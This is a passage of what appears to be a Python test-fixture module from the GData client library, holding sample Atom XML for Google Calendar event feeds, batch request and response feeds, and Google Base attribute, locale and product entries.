<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/2qt3ao5hbaq7m9igr5ak9esjo0/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.private'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:who rel='http://schemas.google.com/g/2005#event.organizer'
valueString='GData Ops Demo' email='gdata.ops.demo@gmail.com'>
<gd:attendeeStatus value='http://schemas.google.com/g/2005#event.accepted'>
</gd:attendeeStatus>
</gd:who>
<gd:who rel='http://schemas.google.com/g/2005#event.attendee'
valueString='Ryan Boyd (API)' email='api.rboyd@gmail.com'>
<gd:attendeeStatus value='http://schemas.google.com/g/2005#event.invited'>
</gd:attendeeStatus>
</gd:who>
<gd:when startTime='2007-03-24T12:00:00.000-07:00'
endTime='2007-03-24T15:00:00.000-07:00'>
<gd:reminder minutes='20'></gd:reminder>
</gd:when>
<gd:where valueString='Dolores Park with Kim'></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/uvsqhg7klnae40v50vihr1pvos</id>
<published>2007-03-20T21:28:37.000Z</published>
<updated>2007-03-20T21:28:37.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Team meeting</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=dXZzcWhnN2tsbmFlNDB2NTB2aWhyMXB2b3NfMjAwNzAzMjNUMTYwMDAwWiBnZGF0YS5vcHMuZGVtb0Bt'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/uvsqhg7klnae40v50vihr1pvos'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/uvsqhg7klnae40v50vihr1pvos/63310109317'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gd:recurrence>DTSTART;TZID=America/Los_Angeles:20070323T090000
DTEND;TZID=America/Los_Angeles:20070323T100000
RRULE:FREQ=WEEKLY;BYDAY=FR;UNTIL=20070817T160000Z;WKST=SU
BEGIN:VTIMEZONE TZID:America/Los_Angeles
X-LIC-LOCATION:America/Los_Angeles BEGIN:STANDARD
TZOFFSETFROM:-0700 TZOFFSETTO:-0800 TZNAME:PST
DTSTART:19701025T020000 RRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU
END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:-0800 TZOFFSETTO:-0700
TZNAME:PDT DTSTART:19700405T020000
RRULE:FREQ=YEARLY;BYMONTH=4;BYDAY=1SU END:DAYLIGHT
END:VTIMEZONE</gd:recurrence>
<gCal:sendEventNotifications value='true'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:visibility value='http://schemas.google.com/g/2005#event.public'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:reminder minutes='10'></gd:reminder>
<gd:where valueString=''></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/st4vk9kiffs6rasrl32e4a7alo</id>
<published>2007-03-20T21:25:46.000Z</published>
<updated>2007-03-20T21:25:46.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Movie with Kim and danah</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=c3Q0dms5a2lmZnM2cmFzcmwzMmU0YTdhbG8gZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/st4vk9kiffs6rasrl32e4a7alo'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/st4vk9kiffs6rasrl32e4a7alo/63310109146'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/st4vk9kiffs6rasrl32e4a7alo/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-24T20:00:00.000-07:00'
endTime='2007-03-24T21:00:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/ofl1e45ubtsoh6gtu127cls2oo</id>
<published>2007-03-20T21:24:43.000Z</published>
<updated>2007-03-20T21:25:08.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Dinner with Kim and Sarah</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=b2ZsMWU0NXVidHNvaDZndHUxMjdjbHMyb28gZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ofl1e45ubtsoh6gtu127cls2oo'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ofl1e45ubtsoh6gtu127cls2oo/63310109108'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/ofl1e45ubtsoh6gtu127cls2oo/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-20T19:00:00.000-07:00'
endTime='2007-03-20T21:30:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/b69s2avfi2joigsclecvjlc91g</id>
<published>2007-03-20T21:24:19.000Z</published>
<updated>2007-03-20T21:25:05.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Dinner with Jane and John</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=YjY5czJhdmZpMmpvaWdzY2xlY3ZqbGM5MWcgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/b69s2avfi2joigsclecvjlc91g'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/b69s2avfi2joigsclecvjlc91g/63310109105'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/b69s2avfi2joigsclecvjlc91g/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-22T17:00:00.000-07:00'
endTime='2007-03-22T19:30:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/u9p66kkiotn8bqh9k7j4rcnjjc</id>
<published>2007-03-20T21:24:33.000Z</published>
<updated>2007-03-20T21:24:33.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Tennis with Elizabeth</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=dTlwNjZra2lvdG44YnFoOWs3ajRyY25qamMgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/u9p66kkiotn8bqh9k7j4rcnjjc'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/u9p66kkiotn8bqh9k7j4rcnjjc/63310109073'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/u9p66kkiotn8bqh9k7j4rcnjjc/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-24T10:00:00.000-07:00'
endTime='2007-03-24T11:00:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/76oj2kceidob3s708tvfnuaq3c</id>
<published>2007-03-20T21:24:00.000Z</published>
<updated>2007-03-20T21:24:00.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Lunch with Jenn</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=NzZvajJrY2VpZG9iM3M3MDh0dmZudWFxM2MgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/76oj2kceidob3s708tvfnuaq3c'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/76oj2kceidob3s708tvfnuaq3c/63310109040'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/76oj2kceidob3s708tvfnuaq3c/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-20T11:30:00.000-07:00'
endTime='2007-03-20T12:30:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/5np9ec8m7uoauk1vedh5mhodco</id>
<published>2007-03-20T07:50:02.000Z</published>
<updated>2007-03-20T20:39:26.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>test entry</title>
<content type='text'>test desc</content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=NW5wOWVjOG03dW9hdWsxdmVkaDVtaG9kY28gZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/5np9ec8m7uoauk1vedh5mhodco'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/5np9ec8m7uoauk1vedh5mhodco/63310106366'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/5np9ec8m7uoauk1vedh5mhodco/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.private'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:who rel='http://schemas.google.com/g/2005#event.attendee'
valueString='Vivian Li' email='vli@google.com'>
<gd:attendeeStatus value='http://schemas.google.com/g/2005#event.declined'>
</gd:attendeeStatus>
</gd:who>
<gd:who rel='http://schemas.google.com/g/2005#event.organizer'
valueString='GData Ops Demo' email='gdata.ops.demo@gmail.com'>
<gd:attendeeStatus value='http://schemas.google.com/g/2005#event.accepted'>
</gd:attendeeStatus>
</gd:who>
<gd:when startTime='2007-03-21T08:00:00.000-07:00'
endTime='2007-03-21T09:00:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where valueString='anywhere'></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/fu6sl0rqakf3o0a13oo1i1a1mg</id>
<published>2007-02-14T23:23:37.000Z</published>
<updated>2007-02-14T23:25:30.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>test</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=ZnU2c2wwcnFha2YzbzBhMTNvbzFpMWExbWcgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/fu6sl0rqakf3o0a13oo1i1a1mg'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/fu6sl0rqakf3o0a13oo1i1a1mg/63307178730'>
</link>
<link rel="http://schemas.google.com/gCal/2005/webContent" title="World Cup" href="http://www.google.com/calendar/images/google-holiday.gif" type="image/gif">
<gCal:webContent width="276" height="120" url="http://www.google.com/logos/worldcup06.gif" />
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/fu6sl0rqakf3o0a13oo1i1a1mg/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-02-15T08:30:00.000-08:00'
endTime='2007-02-15T09:30:00.000-08:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/h7a0haa4da8sil3rr19ia6luvc</id>
<published>2007-07-16T22:13:28.000Z</published>
<updated>2007-07-16T22:13:29.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event' />
<title type='text'></title>
<content type='text' />
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=aDdhMGhhYTRkYThzaWwzcnIxOWlhNmx1dmMgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate' />
<link rel='http://schemas.google.com/gCal/2005/webContent'
type='application/x-google-gadgets+xml'
href='http://gdata.ops.demo.googlepages.com/birthdayicon.gif'
title='Date and Time Gadget'>
<gCal:webContent width='300' height='136'
url='http://google.com/ig/modules/datetime.xml'>
<gCal:webContentGadgetPref name='color' value='green' />
</gCal:webContent>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/h7a0haa4da8sil3rr19ia6luvc' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/h7a0haa4da8sil3rr19ia6luvc/63320307209' />
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/h7a0haa4da8sil3rr19ia6luvc/comments' />
</gd:comments>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed' />
<gd:visibility value='http://schemas.google.com/g/2005#event.default' />
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque' />
<gd:when startTime='2007-03-14' endTime='2007-03-15' />
<gd:where />
</entry>
</feed>
"""
CALENDAR_BATCH_REQUEST = """<?xml version='1.0' encoding='utf-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:batch='http://schemas.google.com/gdata/batch'
xmlns:gCal='http://schemas.google.com/gCal/2005'>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<entry>
<batch:id>1</batch:id>
<batch:operation type='insert' />
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event inserted via batch</title>
</entry>
<entry>
<batch:id>2</batch:id>
<batch:operation type='query' />
<id>http://www.google.com/calendar/feeds/default/private/full/glcs0kv2qqa0gf52qi1jo018gc</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event queried via batch</title>
</entry>
<entry>
<batch:id>3</batch:id>
<batch:operation type='update' />
<id>http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event updated via batch</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=dWptMGdvNWR0bmdka3I2dTkxZGNxdmowcXMgaGFyaXNodi50ZXN0QG0' title='alternate' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs/63326098791' />
</entry>
<entry>
<batch:id>4</batch:id>
<batch:operation type='delete' />
<id>http://www.google.com/calendar/feeds/default/private/full/d8qbg9egk1n6lhsgq1sjbqffqc</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event deleted via batch</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=ZDhxYmc5ZWdrMW42bGhzZ3Exc2picWZmcWMgaGFyaXNodi50ZXN0QG0' title='alternate' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/d8qbg9egk1n6lhsgq1sjbqffqc' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/d8qbg9egk1n6lhsgq1sjbqffqc/63326018324' />
</entry>
</feed>
"""
CALENDAR_BATCH_RESPONSE = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:batch='http://schemas.google.com/gdata/batch'
xmlns:gCal='http://schemas.google.com/gCal/2005'>
<id>http://www.google.com/calendar/feeds/default/private/full</id>
<updated>2007-09-21T23:01:00.380Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Batch Feed</title>
<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full' />
<link rel='http://schemas.google.com/g/2005#post' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full' />
<link rel='http://schemas.google.com/g/2005#batch' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/batch' />
<entry>
<batch:id>1</batch:id>
<batch:status code='201' reason='Created' />
<batch:operation type='insert' />
<id>http://www.google.com/calendar/feeds/default/private/full/n9ug78gd9tv53ppn4hdjvk68ek</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event inserted via batch</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=bjl1Zzc4Z2Q5dHY1M3BwbjRoZGp2azY4ZWsgaGFyaXNodi50ZXN0QG0' title='alternate' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/n9ug78gd9tv53ppn4hdjvk68ek' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/n9ug78gd9tv53ppn4hdjvk68ek/63326098860' />
</entry>
<entry>
<batch:id>2</batch:id>
<batch:status code='200' reason='Success' />
<batch:operation type='query' />
<id>http://www.google.com/calendar/feeds/default/private/full/glsc0kv2aqa0ff52qi1jo018gc</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event queried via batch</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=Z2xzYzBrdjJhcWEwZmY1MnFpMWpvMDE4Z2MgaGFyaXNodi50ZXN0QG0' title='alternate' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/glsc0kv2aqa0ff52qi1jo018gc' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/glsc0kv2aqa0ff52qi1jo018gc/63326098791' />
</entry>
<entry xmlns:gCal='http://schemas.google.com/gCal/2005'>
<batch:id>3</batch:id>
<batch:status code='200' reason='Success' />
<batch:operation type='update' />
<id>http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event updated via batch</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=dWptMGdvNWR0bmdka3I2dTkxZGNxdmowcXMgaGFyaXNodi50ZXN0QG0' title='alternate' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/ujm0go5dtngdkr6u91dcqvj0qs/63326098860' />
<batch:id>3</batch:id>
<batch:status code='200' reason='Success' />
<batch:operation type='update' />
</entry>
<entry>
<batch:id>4</batch:id>
<batch:status code='200' reason='Success' />
<batch:operation type='delete' />
<id>http://www.google.com/calendar/feeds/default/private/full/d8qbg9egk1n6lhsgq1sjbqffqc</id>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/g/2005#event' />
<title type='text'>Event deleted via batch</title>
<content type='text'>Deleted</content>
</entry>
</feed>
"""
GBASE_ATTRIBUTE_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gm='http://base.google.com/ns-metadata/1.0'>
<id>http://www.google.com/base/feeds/attributes</id>
<updated>2006-11-01T20:35:59.578Z</updated>
<category scheme='http://base.google.com/categories/itemtypes' term='online jobs'></category>
<category scheme='http://base.google.com/categories/itemtypes' term='jobs'></category>
<title type='text'>Attribute histogram for query: [item type:jobs]</title>
<link rel='alternate' type='text/html' href='http://base.google.com'></link>
<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.google.com/base/feeds
/attributes'></link>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/attributes/-/jobs'></link>
<generator version='1.0' uri='http://base.google.com'>GoogleBase</generator>
<openSearch:totalResults>16</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>16</openSearch:itemsPerPage>
<entry>
<id>http://www.google.com/base/feeds/attributes/job+industry%28text%29N%5Bitem+type%3Ajobs%5D</id>
<updated>2006-11-01T20:36:00.100Z</updated>
<title type='text'>job industry(text)</title>
<content type='text'>Attribute"job industry" of type text.
</content>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/attributes/job+industry%28text
%29N%5Bitem+type%3Ajobs%5D'></link>
<gm:attribute name='job industry' type='text' count='4416629'>
<gm:value count='380772'>it internet</gm:value>
<gm:value count='261565'>healthcare</gm:value>
<gm:value count='142018'>information technology</gm:value>
<gm:value count='124622'>accounting</gm:value>
<gm:value count='111311'>clerical and administrative</gm:value>
<gm:value count='82928'>other</gm:value>
<gm:value count='77620'>sales and sales management</gm:value>
<gm:value count='68764'>information systems</gm:value>
<gm:value count='65859'>engineering and architecture</gm:value>
<gm:value count='64757'>sales</gm:value>
</gm:attribute>
</entry>
</feed>
"""
GBASE_ATTRIBUTE_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gm='http://base.google.com/ns-metadata/1.0'>
<id>http://www.google.com/base/feeds/attributes/job+industry%28text%29N%5Bitem+type%3Ajobs%5D</id>
<updated>2006-11-01T20:36:00.100Z</updated>
<title type='text'>job industry(text)</title>
<content type='text'>Attribute"job industry" of type text.
</content>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/attributes/job+industry%28text%29N%5Bitem+type%3Ajobs%5D'></link>
<gm:attribute name='job industry' type='text' count='4416629'>
<gm:value count='380772'>it internet</gm:value>
<gm:value count='261565'>healthcare</gm:value>
<gm:value count='142018'>information technology</gm:value>
<gm:value count='124622'>accounting</gm:value>
<gm:value count='111311'>clerical and administrative</gm:value>
<gm:value count='82928'>other</gm:value>
<gm:value count='77620'>sales and sales management</gm:value>
<gm:value count='68764'>information systems</gm:value>
<gm:value count='65859'>engineering and architecture</gm:value>
<gm:value count='64757'>sales</gm:value>
</gm:attribute>
</entry>
"""
GBASE_LOCALES_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gm='http://base.google.com/ns-metadata/1.0'>
<id> http://www.google.com/base/feeds/locales/</id>
<updated>2006-06-13T18:11:40.120Z</updated>
<title type="text">Locales</title>
<link rel="alternate" type="text/html" href="http://base.google.com"/>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml"
href="http://www.google.com/base/feeds/locales/"/>
<link rel="self" type="application/atom+xml" href="http://www.google.com/base/feeds/locales/"/>
<author>
<name>Google Inc.</name>
<email>base@google.com</email>
</author>
<generator version="1.0" uri="http://base.google.com">GoogleBase</generator>
<openSearch:totalResults>3</openSearch:totalResults>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://www.google.com/base/feeds/locales/en_US</id>
<updated>2006-03-27T22:27:36.658Z</updated>
<category scheme="http://base.google.com/categories/locales" term="en_US"/>
<title type="text">en_US</title>
<content type="text">en_US</content>
<link rel="self" type="application/atom+xml"
href="http://www.google.com/base/feeds/locales/en_US"></link>
<link rel="related" type="application/atom+xml"
href="http://www.google.com/base/feeds/itemtypes/en_US" title="Item types in en_US"/>
</entry>
<entry>
<id>http://www.google.com/base/feeds/locales/en_GB</id>
<updated>2006-06-13T18:14:18.601Z</updated>
<category scheme="http://base.google.com/categories/locales" term="en_GB"/>
<title type="text">en_GB</title>
<content type="text">en_GB</content>
<link rel="related" type="application/atom+xml"
href="http://www.google.com/base/feeds/itemtypes/en_GB" title="Item types in en_GB"/>
<link rel="self" type="application/atom+xml"
href="http://www.google.com/base/feeds/locales/en_GB"/>
</entry>
<entry>
<id>http://www.google.com/base/feeds/locales/de_DE</id>
<updated>2006-06-13T18:14:18.601Z</updated>
<category scheme="http://base.google.com/categories/locales" term="de_DE"/>
<title type="text">de_DE</title>
<content type="text">de_DE</content>
<link rel="related" type="application/atom+xml"
href="http://www.google.com/base/feeds/itemtypes/de_DE" title="Item types in de_DE"/>
<link rel="self" type="application/atom+xml"
href="http://www.google.com/base/feeds/locales/de_DE"/>
</entry>
</feed>"""
GBASE_STRING_ENCODING_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns='http://www.w3.org/2005/Atom' xmlns:gm='http://base.google.com/ns-metadata/1.0'
xmlns:g='http://base.google.com/ns/1.0' xmlns:batch='http://schemas.google.com/gdata/batch'>
<id>http://www.google.com/base/feeds/snippets/17495780256183230088</id>
<published>2007-12-09T03:13:07.000Z</published>
<updated>2008-01-07T03:26:46.000Z</updated>
<category scheme='http://base.google.com/categories/itemtypes' term='Products'/>
<title type='text'>Digital Camera Cord Fits SONY Cybershot DSC-R1 S40</title>
<content type='html'>SONY \xC2\xB7 Cybershot Digital Camera Usb Cable DESCRIPTION
This is a 2.5 USB 2.0 A to Mini B (5 Pin) high quality digital camera
cable used for connecting your Sony Digital Cameras and Camcoders. Backward
Compatible with USB 2.0, 1.0 and 1.1. Fully ...</content>
<link rel='alternate' type='text/html'
href='http://adfarm.mediaplex.com/ad/ck/711-5256-8196-2?loc=http%3A%2F%2Fcgi.ebay.com%2FDigital-Camera-Cord-Fits-SONY-Cybershot-DSC-R1-S40_W0QQitemZ270195049057QQcmdZViewItem'/>
<link rel='self' type='application/atom+xml'
